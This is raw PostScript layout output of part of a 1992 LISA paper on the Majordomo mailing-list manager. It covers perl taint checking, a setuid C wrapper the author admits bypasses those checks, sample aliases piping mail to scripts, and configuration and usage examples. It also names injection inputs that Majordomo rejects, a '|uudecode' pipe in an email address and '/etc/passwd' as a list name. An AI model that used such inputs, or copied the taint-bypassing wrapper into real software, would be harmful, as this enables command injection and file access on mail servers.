X +2002 Y +2112 X(falling)s +2311 X(into)s +2439 X(any)s +2559 X(obvious)s +2793 X(traps)s +2923 X(.)s +2964 X(\(In)s +3065 X(some)s +3230 X(ways,)s +2016 X +2075 Y +2112 X(a)s +2205 X(perl)s +2372 X(script)s +2584 X(is)s +2692 X(more)s +2892 X(secure)s +3125 X(than)s +3302 X(the)s +2016 X +2148 Y +2112 X(corresponding)s +2543 X(C)s +2639 X(program)s +2864 X(.\))s +2955 X(Any)s +3121 X(command)s +2016 X +2221 Y +2112 X(line)s +2241 X(argument,)s +2538 X(environment)s +2903 X(variable,)s +3164 X(or)s +3247 X(input)s +2016 X +2294 Y +2112 X(is)s +2184 X(marked)s +2411 X(as)s +2494 X("tainted",)s +2775 X(and)s +2898 X(may)s +3041 X(not)s +3154 X(be)s +3245 X(used,)s +2016 X +2367 Y +2112 X(directly)s +2355 X(or)s +2448 X(indirectly,)s +2760 X(in)s +2850 X(any)s +2983 X(command)s +3283 X(that)s +2016 X +2440 Y +2112 X(invokes)s +2352 X(a)s +2415 X(subshell,)s +2684 X(or)s +2772 X(in)s +2857 X(any)s +2986 X(command)s +3283 X(that)s +2016 X +2513 Y +2112 X(modi\256es)s +2380 X(\256les,)s +2547 X(directories)s +2868 X(or)s +2960 X(processes)s +3216 X(.)s +3270 X(Any)s +2016 X +2586 Y +2112 X(variable)s +2358 X(that)s +2489 X(is)s +2565 X(set)s +2671 X(within)s +2873 X(an)s +2967 X(expression)s +3283 X(that)s +2016 X +2659 Y +2112 X(has)s +2227 X(previously)s +2534 X(referenced)s +2842 X(a)s +2898 X(tainted)s +3106 X(value)s +3276 X(also)s +2016 X +2732 Y +2112 X(becomes)s +2369 X(tainted)s +2575 X(\(even)s +2746 X(if)s +2810 X(it)s +2871 X(is)s +2940 X(logically)s +3199 X(impos-)s +2016 X +2805 Y +2112 X(sible)s +2279 X(for)s +2396 X(the)s +2518 X(tainted)s +2741 X(value)s +2926 X(to)s +3018 X(in\257uence)s +3302 X(the)s +2016 X +2878 Y +2112 X(variable\))s +2350 X(.)s +2016 X +2972 Y(While)s +2211 X(this)s +2339 X(is)s +2415 X(certainly)s +2681 X(a)s +2742 X(valuable)s +3000 X(feature)s +3218 X(of)s +3305 X(perl,)s +3458 X(I)s +2016 X +3045 Y(wasn't)s +2218 X(able)s +2353 X(to)s +2428 X(get)s +2533 X(Majordomo)s +2870 X(to)s +2945 X(function)s +3190 X(because)s +3425 X(of)s +2016 X +3118 Y(it)s +2054 X(.)s +2129 X(I)s +2188 X(spent)s +2366 X(many)s +2551 X(hours)s +2735 X(trying)s +2931 X(to)s +3020 X(make)s +3202 X("taintperl")s +2016 X +3191 Y(happy)s +2225 X(before)s +2442 X(I)s +2511 X(gave)s +2683 X(up)s +2795 X(and)s +2937 X(wrote)s +3135 X(a)s +3211 X(simple)s +3436 X(C)s +2016 X +3264 Y("wrapper")s +2310 X(program)s +2557 X(that)s +2680 X(sets)s +2803 X(the)s +2907 X(real)s +3030 X(UID)s +3170 X(and)s +3288 X(GID)s +3428 X(to)s +2016 X +3337 Y(the)s +2142 X(effective)s +2421 X(UID)s +2582 X(and)s +2721 X(GID)s +2882 X(before)s +3095 X(executing)s +3398 X(the)s +2016 X +3410 Y(Majordomo)s +2386 X(perl)s +2546 X(script,)s +2768 X(thus)s +2935 X(not)s +3076 X(activating)s +3398 X(the)s +2016 X +3483 Y("taintperl")s +2325 X(feature)s +2511 X(.)s +2581 X(This)s +2731 X(is)s +2807 X(almost)s +3017 X(certainly)s +3283 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +3398 X +f.R 10 Z(the)s +2016 X +3556 Y(right)s +2171 X(thing)s +2337 X(to)s +2419 X(do;)s +2534 X(at)s +2613 X(some)s +2784 X(point,)s +2968 X(I)s +3020 X(need)s +3176 X(to)s +3258 X(go)s +3354 X(back)s +2016 X +3629 Y(and)s +2139 X(\256gure)s +2321 X(out)s +2433 X(how)s +2574 X(to)s +2653 X(make)s +2825 X(Majordomo)s +3166 X(work)s +3329 X(under)s +2016 X +3702 Y("taintperl")s +2294 X(.)s +2383 X(Particularly)s +2746 X(since)s +2934 X(I'm)s +3081 X(bypassing)s +3398 X(the)s +2016 X +3775 Y("taintperl")s +2340 X(security)s +2598 X(features,)s +2873 X(Majordomo)s +3233 X(makes)s +3450 X(a)s +2016 X +3848 Y(special)s +2229 X(effort)s +2404 X(to)s +2483 X(validate)s +2723 X(user)s +2861 X(input)s +3025 X(\(email)s +3224 X(addresses)s +2016 X +3921 Y(and)s +2138 X(mailing)s +2369 X(list)s +2477 X(names,)s +2690 X(for)s +2792 X(instance\))s +3059 X(and)s +3180 X(ensure)s +3379 X(that)s +2016 X +3994 Y(it)s +2089 X(doesn't)s +2320 X(contain)s +2552 X(anything)s +2820 X(dangerous)s +3129 X(\(a)s +3217 X(command)s +360 X +4967 Y +f.B 10 Z(138)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 139 5 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(like)s +729 X(")s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z(|uudecode)s +f.R 10 Z(")s +1171 X(in)s +1251 X(an)s +1342 X(email)s +1520 X(address)s +1748 X(or)s +1830 X(an)s +1920 X(abso-)s +600 X +521 Y(lute)s +732 X(path)s +878 X(name)s +1054 X(like)s +1186 X(")s +f.CW 10 Z(/etc/passwd)s +f.R 10 Z(")s +1711 X(as)s +1798 X(a)s +1859 X(mailing)s +600 X +594 Y(list)s +706 X(name\))s +896 X(before)s +1089 X(using)s +1256 X(that)s +1380 X(input)s +1540 X(to)s +1615 X(interact)s +1840 X(with)s +1982 X(the)s +600 X +667 Y(operating)s +875 X(system)s +1084 X(\(by)s +1195 X(opening)s +1432 X(\256les)s +1567 X(by)s +1657 X(that)s +1782 X(name,)s +1968 X(and)s +600 X +740 Y(so)s +681 X(forth\))s +832 X(.)s +600 X +834 Y +744 X(The)s +871 X(title)s +1000 X(of)s +1078 X(this)s +1198 X(paper)s +1369 X(states)s +1542 X(that)s +1666 X(I)s +1711 X(don't)s +1875 X(answer)s +600 X +907 Y(")s +627 X(-request")s +905 X(mail)s +1061 X(\(that)s +1220 X(is,)s +1318 X(mail)s +1474 X(people)s +1688 X(send)s +1845 X(to)s +1932 X(")s +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +2042 X +f.R 10 Z(-)s +600 X +980 Y(request")s +845 X(with)s +989 X(requests)s +1233 X(concerning)s +1555 X +f.I 10 Z(list)s +f.R 10 Z(\))s +1660 X(.)s +1725 X(While)s +1915 X(that's)s +600 X +1053 Y(true,)s +748 X +f.I 10 Z(something)s +1049 X +f.R 10 Z(has)s +1164 X(to)s +1242 X(answer)s +1457 X(")s +1484 X(-request")s +1752 X(mail)s +1872 X(.)s +1937 X(Mail)s +600 X +1126 Y(sent)s +743 X(to)s +830 X(")s +f.I 10 Z(list)s +940 X +f.R 10 Z(-request")s +1217 X(can't)s +1386 X(simply)s +1604 X(be)s +1703 X(forwarded)s +2012 X(to)s +600 X +1199 Y(Majordomo)s +945 X(for)s +1052 X(processing,)s +1384 X(since)s +1552 X(it)s +1620 X(almost)s +1829 X(certainly)s +600 X +1272 Y(doesn't)s +836 X(contain)s +1073 X(commands)s +1402 X(that)s +1543 X(Majordomo)s +1898 X(would)s +600 X +1345 Y(understand)s +892 X(.)s +993 X(A)s +1102 X(simple)s +1342 X(little)s +1528 X(perl)s +1693 X(script)s +1903 X(called)s +600 X +1418 Y("request)s +820 X(-recording")s +1160 X(\(abbreviated)s +1531 X(as)s +1624 X("request)s +1844 X(-rec")s +2012 X(in)s +600 X +1491 Y(Figure)s +800 X(4\))s +881 X(answers)s +1122 X(the)s +1230 X(")s +1257 X(-request")s +1525 X(mail)s +1671 X(for)s +1774 X(each)s +1922 X(mail-)s +600 X +1564 Y(ing)s +719 X(list,)s +853 X(and)s +983 X(sends)s +1165 X(back)s +1325 X(a)s +1389 X(message)s +1650 X(\(customized)s +2012 X(to)s +600 X +1637 Y(the)s +725 X(list)s +850 X(in)s +944 X(question\))s +1234 X(telling)s +1448 X(the)s +1572 X(user)s +1725 X(how)s +1881 X(to)s +1975 X(use)s +600 X +1710 Y(Majordomo)s +944 X(to)s +1026 X(subscribe)s +1309 X(to)s +1392 X(the)s +1505 X(list,)s +1636 X(get)s +1749 X(information)s +600 X +1783 Y(about)s +782 X(the)s +898 X(list,)s +1032 X(or)s +1121 X(get)s +1237 X(a)s +1301 X(copy)s +1464 X(of)s +1553 X(Majordomo's)s +1949 X(help)s +600 X +1856 Y(\256le;)s +731 X(in)s +809 X(addition,)s +1071 X(instructions)s +1409 X(are)s +1517 X(provided)s +1779 X(on)s +1871 X(how)s +2012 X(to)s +600 X +1929 Y(reach)s +767 X(a)s +819 X(human)s +1022 X(being,)s +1209 X(just)s +1328 X(in)s +1402 X(case)s +1518 X(.)s +600 X +3729 Y +3120 0 l +600 X +3804 Y +648 X +f.CW 8 Z(majordomo:)s +1000 X("|/usr/local/ma)s +1480 X(jordomo/wrapper)s +1992 X(/usr/local/majo)s +2472 X(rdomo/majordomo)s +2952 X(")s +600 X +3871 Y +648 X(owner)s +808 X(-majordomo:)s +1192 X(brent)s +600 X +4005 Y +648 X(open)s +776 X(-list:)s +1000 X(:include:/usr/l)s +1480 X(ocal/majordomo/)s +1960 X(Lists/open)s +2280 X(-list)s +600 X +4072 Y +648 X(open)s +776 X(-list)s +936 X(-request:)s +1256 X("|/usr/local/ma)s +1736 X(jordomo/wrapper)s +2248 X(/usr/local/majo)s +2728 X(rdomo/request)s +3144 X(-rec)s +3304 X(open)s +3432 X(-list")s +600 X +4139 Y +648 X(open)s +776 X(-list)s +936 X(-approval:)s +1288 X(joe@foobar)s +1608 X(.com)s +600 X +4206 Y +648 X(owner)s +808 X(-open)s +968 X(-list:)s +1192 X(joe@foobar)s +1512 X(.com)s +600 X +4340 Y +648 X(closed)s +840 X(-list:)s +1064 X(:include:/usr/l)s +1544 X(ocal/majordomo/)s +2024 X(Lists/closed)s +2408 X(-list)s +600 X +4407 Y +648 X(closed)s +840 X(-list)s +1000 X(-request:)s +1320 X("|/usr/local/ma)s +1800 X(jordomo/wrapper)s +2312 X(/usr/local/majo)s +2792 X(rdomo/request)s +3208 X(-rec)s +3368 X(closed)s +3560 X(-list")s +600 X +4474 Y +648 X(closed)s +840 X(-list)s +1000 X(-approval:)s +1352 X(bob@elsewhere)s +1768 X(.edu)s +600 X +4541 Y +648 X(owner)s +808 X(-closed)s +1032 X(-list:)s +1256 X(bob@elsewhere)s +1672 X(.edu)s +600 X +4685 Y +1554 X +f.B 10 Z(Figure)s +1766 X(4)s +f.R 10 Z(:)s +1862 X(Sample)s +2085 X +f.CW 10 Z(/etc/aliases)s +2587 X +f.R 10 Z(entries)s +600 X +2056 Y +979 X +f.B 10 Z(Con\256guring)s +1345 X(Majordomo)s +600 X +2165 Y +744 X +f.R 10 Z(At)s +853 X(startup,)s +1095 X(Majordomo)s +1452 X(reads)s +1636 X(a)s +1709 X(con\256guration)s +600 X +2238 Y(\256le)s +712 X(\(as)s +816 X(speci\256ed)s +1080 X(by)s +1172 X(the)s +1280 X(")s +f.CW 10 Z(MAJORDOMO_CF)s +f.R 10 Z(")s +1839 X(environ-)s +600 X +2311 Y(ment)s +801 X(variable)s +1085 X(or)s +1208 X(on)s +1342 X(the)s +1492 X(command)s +1823 X(line,)s +2009 X(or)s +600 X +2384 Y(")s +f.CW 10 Z(/etc/majordom)s +1147 X(o)s +1187 X(.cf)s +f.R 10 Z(")s +1366 X(by)s +1464 X(default\))s +1703 X(that)s +1835 X(provides)s +600 X +2457 Y(site)s +694 X(-speci\256c)s +953 X(information,)s +1317 X(including)s +1601 X(the)s +1716 X(name)s +1894 X(of)s +1982 X(the)s +600 X +2530 Y(site,)s +737 X(who)s +877 X(mail)s +1023 X(from)s +1178 X(Majordomo)s +1518 X(should)s +1721 X(appear)s +1924 X(to)s +2001 X(be)s +600 X +2603 Y(from,)s +781 X(where)s +979 X(Majordomo's)s +1376 X(supporting)s +1695 X(programs)s +1982 X(are)s +600 X +2676 Y(located,)s +856 X(where)s +1064 X(the)s +1191 X(lists)s +1345 X(Majordomo)s +1704 X(manages)s +1982 X(are)s +600 X +2749 Y(located,)s +833 X(and)s +951 X(where)s +1136 X(Majordomo's)s +1521 X(log)s +1629 X(is)s +1697 X(located)s +1891 X(.)s +1953 X(Fig-)s +600 X +2822 Y(ure)s +712 X(3)s +772 X(shows)s +965 X(a)s +1022 X(sample)s +1239 X(Majordomo)s +1580 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +2895 Y(All)s +718 X(Majordomo)s +1032 X(-managed)s +1327 X(\256les)s +1471 X(\(the)s +1607 X(lists)s +1749 X(themselves,)s +600 X +2968 Y(and)s +724 X(the)s +834 X("info")s +1022 X(and)s +1145 X("password")s +1477 X(information)s +1819 X(for)s +1923 X(those)s +600 X +3041 Y(lists\))s +784 X(are)s +919 X(kept)s +1087 X(in)s +1192 X(a)s +1275 X(directory)s +1570 X(speci\256ed)s +1862 X(by)s +1982 X(the)s +600 X +3114 Y(")s +f.CW 10 Z($listdir)s +f.R 10 Z(")s +1031 X(variable)s +1304 X(in)s +1412 X(the)s +1550 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +3187 Y(Each)s +760 X(mailing)s +991 X(list)s +1100 X(is)s +1171 X(kept)s +1312 X(in)s +1390 X(a)s +1446 X(\256le)s +1558 X(in)s +1636 X(the)s +1744 X +f.CW 10 Z($listdir)s +600 X +3260 Y +f.R 10 Z(directory)s +865 X(that)s +990 X(is)s +1059 X(exactly)s +1277 X(the)s +1383 X(name)s +1552 X(of)s +1631 X(the)s +1736 X(mailing)s +1964 X(list)s +2047 X(.)s +600 X +3333 Y(Mailing)s +854 X(list)s +980 X(names)s +1194 X(may)s +1352 X(contain)s +1592 X(only)s +1753 X(lower)s +1948 X(case)s +600 X +3406 Y(letters,)s +810 X(numbers,)s +1084 X(")s +1111 X(-",)s +1205 X(and)s +1329 X("_")s +1416 X(.)s +1483 X(The)s +1614 X(lists)s +1750 X(Majordomo)s +600 X +3479 Y(thinks)s +789 X(it)s +853 X(manages)s +1113 X(are)s +1221 X(the)s +1329 X(\256les)s +1468 X(in)s +1547 X +f.CW 10 Z($listdir)s +1894 X +f.R 10 Z(whose)s +600 X +3552 Y(names)s +811 X(meet)s +982 X(these)s +1160 X(criteria)s +1391 X(for)s +1508 X(mailing)s +1753 X(list)s +1876 X(names)s +2047 X(.)s +600 X +3625 Y(There)s +780 X(is)s +849 X(no)s +939 X(speci\256c)s +1168 X("list)s +1302 X(of)s +1382 X(lists")s +1543 X(in)s +1620 X(a)s +1675 X(\256le)s +1786 X(anywhere;)s +2256 X +448 Y(thus,)s +2415 X(creating)s +2662 X(a)s +2723 X(new)s +2865 X(list)s +2979 X(for)s +3086 X(Majordomo)s +3430 X(to)s +3512 X(manage)s +2256 X +521 Y(merely)s +2468 X(involves)s +2720 X(creating)s +2962 X(a)s +3019 X(new)s +3157 X(\256le)s +3270 X(with)s +3416 X(appropriate)s +2256 X +594 Y(permissions)s +2607 X(in)s +2691 X +f.CW 10 Z($listdir)s +3042 X +f.R 10 Z(and)s +3169 X(creating)s +3416 X(appropriate)s +2256 X +667 Y(entries)s +2571 X(in)s +2759 X(either)s +3048 X +f.CW 10 Z(/etc/aliases)s +3665 X +f.R 10 Z(or)s +2256 X +740 Y +f.CW 10 Z(/usr/lib/alias)s +2816 X(es)s +2918 X +f.R 10 Z(to)s +2992 X(use)s +3103 X(that)s +3226 X(\256le)s +3312 X(.)s +2256 X +834 Y +2400 X(Several)s +2633 X(auxiliary)s +2903 X(\256les)s +3048 X(may)s +3196 X(be)s +3292 X(associated)s +3601 X(with)s +2256 X +907 Y(each)s +2415 X(list)s +2534 X(in)s +2622 X +f.CW 10 Z($listdir)s +2942 X +f.R 10 Z(.)s +3017 X(The)s +3157 X(password)s +3444 X(for)s +3557 X +f.I 10 Z(list)s +3675 X +f.R 10 Z(is)s +2256 X +980 Y(contained)s +2541 X(in)s +2618 X(the)s +2725 X(\256le)s +2837 X(")s +f.I 10 Z(list)s +2947 X +f.R 10 Z(.)s +f.CW 10 Z(passwd)s +f.R 10 Z(")s +3231 X(.)s +3296 X(The)s +3426 X(descriptive)s +2256 X +1053 Y(info)s +2389 X(for)s +2492 X +f.I 10 Z(list)s +2601 X +f.R 10 Z(\(which)s +2812 X(will)s +2943 X(be)s +3031 X(returned)s +3278 X(in)s +3355 X(response)s +3613 X(to)s +3690 X(a)s +2256 X +1126 Y("info)s +2446 X +f.I 10 Z(list)s +f.R 10 Z(")s +2612 X(or)s +2723 X("subscribe)s +3058 X +f.I 10 Z(list)s +f.R 10 Z(")s +3224 X(command\))s +3566 X(is)s +3668 X(in)s +2256 X +1199 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(info)s +f.R 10 Z(")s +2570 X(.)s +2680 X(The)s +2855 X(existence)s +3176 X(of)s +3302 X(a)s +3403 X(\256le)s +3559 X(called)s +2256 X +1272 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(closed)s +f.R 10 Z(")s +2685 X(indicates)s +2959 X(that)s +3095 X +f.I 10 Z(list)s +3213 X +f.R 10 Z(is)s +3293 X(a)s +3359 X("closed")s +3620 X(list,)s +2256 X +1345 Y(and)s +2409 X(that)s +2567 X(all)s +2692 X("subscribe)s +3028 X +f.I 10 Z(list)s +f.R 10 Z(")s +3195 X(requests)s +3471 X(must)s +3657 X(be)s +2256 X +1418 Y(approved)s +2529 X(by)s +2622 X(the)s +2731 X(list)s +2841 X(owner)s +3007 X(.)s +3073 X(Note)s +3230 X(that)s +3358 X(the)s +3467 X(names)s +3665 X(of)s +2256 X +1491 Y(these)s +2428 X(auxiliary)s +2699 X(\256les)s +2844 X(are)s +2959 X(invalid)s +3178 X(mailing)s +3416 X(list)s +3532 X(names,)s +2256 X +1564 Y(because)s +2502 X(they)s +2651 X(contain)s +2883 X(a)s +2948 X(")s +2975 X(.";)s +3073 X(that's)s +3257 X(how)s +3406 X(Majordomo)s +2256 X +1637 Y(differentiates)s +2636 X(the)s +2744 X(mailing)s +2975 X(list)s +3084 X(\256les)s +3221 X(from)s +3375 X(the)s +3482 X(auxiliary)s +2256 X +1710 Y(\256les)s +2368 X(.)s +2256 X +1804 Y +2400 X(Majordomo)s +2821 X(is)s +2973 X(closely)s +3270 X(tied)s +3478 X(to)s +3638 X(the)s +2256 X +1877 Y +f.CW 10 Z(/etc/aliases)s +2765 X +f.R 10 Z(or)s +2849 X +f.CW 10 Z(/usr/lib/aliase)s +3449 X(s)s +3518 X +f.R 10 Z(\256le)s +3604 X(.)s +3672 X(A)s +2256 X +1950 Y(number)s +2494 X(of)s +2584 X(aliases)s +2799 X(are)s +2917 X(required)s +3175 X(for)s +3288 X(the)s +3406 X(Majordomo)s +2256 X +2023 Y(server)s +2443 X(itself,)s +2619 X(as)s +2699 X(well)s +2839 X(as)s +2918 X(for)s +3018 X(each)s +3164 X(of)s +3242 X(the)s +3347 X(lists)s +3479 X(managed)s +2256 X +2096 Y(by)s +2354 X(Majordomo)s +2668 X(.)s +2739 X(Figure)s +2945 X(4)s +3010 X(shows)s +3208 X(sample)s +3431 X(entries)s +3643 X(for)s +2256 X +2169 Y(the)s +2362 X +f.CW 10 Z(/etc/aliases)s +2866 X +f.R 10 Z(\256le)s +2976 X(on)s +3065 X(a)s +3118 X(machine)s +3368 X(using)s +3535 X(Major-)s +2256 X +2242 Y(domo)s +2434 X(to)s +2513 X(run)s +2628 X(two)s +2755 X(lists)s +2891 X(\("open)s +3069 X(-list")s +3228 X(and)s +3351 X("closed)s +3549 X(-list"\))s +3703 X(.)s +2256 X +2315 Y(The)s +2386 X(")s +2413 X(-approval")s +2721 X(alias)s +2871 X(is)s +2941 X(where)s +3129 X(Majordomo)s +3468 X(will)s +3598 X(send)s +2256 X +2388 Y(requests)s +2509 X(for)s +2620 X(approval)s +2887 X(for)s +2999 X(actions)s +3224 X(concerning)s +3555 X(a)s +3620 X(list)s +3703 X(.)s +2256 X +2461 Y(The)s +2384 X("owner)s +2577 X(-")s +2650 X(alias)s +2798 X(is)s +2867 X(not)s +2976 X(used)s +3122 X(by)s +3212 X(Majordomo,)s +3567 X(but)s +3675 X(is)s +2256 X +2534 Y(used)s +2408 X(by)s +2504 X(Sendmail)s +2787 X(to)s +2869 X(notify)s +3058 X(the)s +3171 X(owner)s +3368 X(of)s +3454 X(a)s +3515 X(mailing)s +2256 X +2607 Y(list)s +2364 X(of)s +2443 X(problems)s +2715 X(with)s +2858 X(that)s +2983 X(mailing)s +3212 X(list)s +3319 X(\(bounced)s +3590 X(mes-)s +2256 X +2680 Y(sages,)s +2443 X(and)s +2565 X(so)s +2650 X(forth;)s +2824 X(see)s +2936 X(the)s +3044 X(Sendmail)s +3323 X(documentation)s +2256 X +2753 Y(for)s +2397 X(more)s +2598 X(information\))s +2935 X(.)s +3038 X(The)s +3206 X("owner)s +3399 X(-")s +3512 X(and)s +3671 X(")s +3698 X(-)s +2256 X +2826 Y(approval")s +2559 X(aliases)s +2782 X(could)s +2973 X(point)s +3153 X(to)s +3249 X(different)s +3523 X(people;)s +2256 X +2899 Y(each)s +2401 X(could)s +2571 X(also)s +2701 X(expand)s +2915 X(to)s +2989 X(multiple)s +3235 X(people)s +3413 X(.)s +2256 X +3026 Y +2725 X +f.B 10 Z(Using)s +2910 X(Majordomo)s +2256 X +3135 Y +2400 X +f.R 10 Z(To)s +2501 X(use)s +2617 X(Majordomo,)s +2975 X(a)s +3032 X(user)s +3171 X(sends)s +3347 X(commands)s +3664 X(as)s +2256 X +3208 Y(an)s +2361 X(email)s +2553 X(message)s +2822 X(to)s +2916 X(the)s +3040 X(address)s +3282 X(the)s +3406 X(Majordomo)s +2256 X +3281 Y(server)s +2460 X(is)s +2546 X(con\256gured)s +2871 X(to)s +2964 X(recognize)s +3265 X(\(for)s +3406 X(the)s +3530 X(sample)s +2256 X +3354 Y(con\256guration)s +2696 X(in)s +2833 X(Figure)s +3091 X(3,)s +3225 X(the)s +3391 X(address)s +3675 X(is)s +2256 X +3427 Y("Majordomo@Gre)s +2758 X(atCircle)s +2971 X(.COM"\))s +3188 X(.)s +3264 X(For)s +3393 X(instance,)s +3668 X(to)s +2256 X +3500 Y(\256nd)s +2479 X(out)s +2683 X(what)s +2932 X(lists)s +3160 X(are)s +3361 X(served)s +3654 X(by)s +2256 X +3573 Y(Majordomo@Grea)s +2761 X(tCircle)s +2944 X(.COM,)s +3219 X(a)s +3340 X(user)s +3542 X(named)s +2256 X +3646 Y("Jane@Somewher)s +2748 X(e)s +2778 X(.ORG")s +2997 X(might)s +3188 X(send)s +3345 X(the)s +3461 X(following)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(139)s +5280 Y +pagebot + +%%Page: 140 6 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(message:)s +360 X +537 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +597 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +693 Y +408 X(lists)s +360 X +795 Y +f.R 10 Z(The)s +492 X("Subject:")s +794 X(line)s +923 X(of)s +1006 X(a)s +1064 X(message,)s +1336 X(if)s +1405 X(any,)s +1547 X(is)s +1621 X(ignored)s +360 X +868 Y(by)s +452 X(Majordomo,)s +809 X(so)s +894 X(there's)s +1102 X(no)s +1194 X(harm)s +1357 X(in)s +1435 X(leaving)s +1658 X(it)s +1722 X(out)s +1807 X(.)s +360 X +941 Y(Jane)s +509 X(would)s +705 X(receive)s +929 X(a)s +990 X(message)s +1248 X(like)s +1380 X(this)s +1508 X(in)s +1591 X(response)s +360 X +1014 Y(to)s +434 X(her)s +541 X(query:)s +360 X +1103 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +1163 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +1223 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +1319 Y +408 X(>>>>)s +568 X(lists)s +360 X +1379 Y +408 X(Majordomo@Great)s +888 X(Circle)s +1080 X(.COM)s +1240 X(serves)s +1464 X(the)s +360 X +1439 Y +408 X(following)s +728 X(lists:)s +360 X +1535 Y +536 X(majordomo)s +824 X(-announce)s +360 X +1595 Y +536 X(majordomo)s +824 X(-users)s +360 X +1691 Y +408 X(Use)s +536 X(the)s +664 X('info)s +856 X(')s +1112 X(command)s +1368 X(to)s +1464 X(get)s +360 X +1751 Y +408 X(more)s +568 X(information)s +952 X(about)s +1144 X(a)s +1208 X(specific)s +1496 X(list)s +1624 X(.)s +360 X +1853 Y +f.R 10 Z(Upon)s +546 X(receiving)s +834 X(this,)s +987 X(Jane)s +1145 X(might)s +1340 X(wish)s +1505 X(to)s +1596 X(\256nd)s +1739 X(out)s +360 X +1926 Y(more)s +527 X(about)s +705 X(each)s +857 X(of)s +941 X(these)s +1108 X(lists)s +1217 X(.)s +1285 X(She)s +1414 X(could)s +1591 X(send)s +1742 X(the)s +360 X +1999 Y(following)s +641 X(request:)s +360 X +2088 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +2148 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +2244 Y +408 X(info)s +568 X(majordomo)s +856 X(-announce)s +360 X +2304 Y +408 X(info)s +568 X(majordomo)s +856 X(-users)s +360 X +2406 Y +f.R 10 Z(In)s +437 X(return,)s +635 X(Majordomo)s +971 X(would)s +1159 X(respond)s +1391 X(with:)s +360 X +2495 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +2555 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +2615 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +2711 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-users)s +360 X +2771 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(discussions)s +1336 X(\(including)s +360 X +2831 Y +408 X(bug)s +536 X(reports,)s +824 X(enhancement)s +1208 X(reports,)s +360 X +2891 Y +408 X(and)s +536 X(general)s +792 X(usage)s +984 X(tips\))s +1176 X(concerning)s +360 X +2951 Y +408 X(the)s +536 X(Majordomo)s +856 X(mailing)s +1112 X(list)s +1272 X(manager)s +1496 X(.)s +360 X +3011 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3107 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-announce)s +360 X +3167 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(announcements)s +1400 X(of)s +1496 X(new)s +360 X +3227 Y +408 X(releases)s +696 X(of)s +792 X(the)s +920 X(Majordomo)s +1240 X(mailing)s +360 X +3287 Y +408 X(list)s +568 X(manager)s +792 X(.)s +360 X +3347 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3449 Y +f.R 10 Z(If)s +433 X(Jane)s +581 X(wishes)s +792 X(to)s +873 X(subscribe)s +1154 X(to)s +1235 X(one)s +1360 X(of)s +1445 X(the)s +1557 X(lists)s +1696 X(\(say,)s +360 X +3522 Y(the)s +477 X(majordomo)s +784 X(-users)s +977 X(list\),)s +1133 X(she)s +1256 X(would)s +1456 X(send)s +1612 X(the)s +1728 X(fol-)s +360 X +3595 Y(lowing)s +567 X(request:)s +360 X +3684 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +3744 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +3840 Y +408 X(subscribe)s +728 X(majordomo)s +1016 X(-users)s +360 X +3942 Y +f.R 10 Z(In)s +438 X(return,)s +637 X(she)s +749 X(would)s +938 X(receive)s +1155 X(two)s +1278 X(messages)s +1531 X(.)s +1593 